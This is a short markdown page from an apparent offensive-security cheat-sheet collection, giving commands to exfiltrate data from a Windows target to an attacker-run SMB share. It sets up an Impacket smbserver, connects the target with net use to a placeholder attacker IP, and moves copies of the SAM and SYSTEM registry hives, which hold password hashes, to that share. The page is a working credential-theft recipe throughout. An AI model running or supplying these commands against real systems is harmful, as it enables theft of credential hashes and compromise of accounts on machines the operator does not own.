killchain-compendium/exfiltration/windows/smb_connection.md

# Connect to Attacker SMB

## Attacker

* Impacket smbserver on attacker
```sh
sudo examples/smbserver.py share . -smb2support -username <user> -password <password>
```

## Target
* Connect to attacker smb
```sh
net use \\<attacker-IP>\share /User:<user> <Password>
```
* Save data to attacker's smb
```sh
move sam.bak \\<attacker-IP>\share\sam.bak
move system.bak \\<attacker-IP>\share\system.bak
```
* Disconnect
```sh
net use \\<attacker-IP>\share /del
```

## Workarounds

* System Error 1312. User credentials need a domain
```sh
/USER:domain\user
```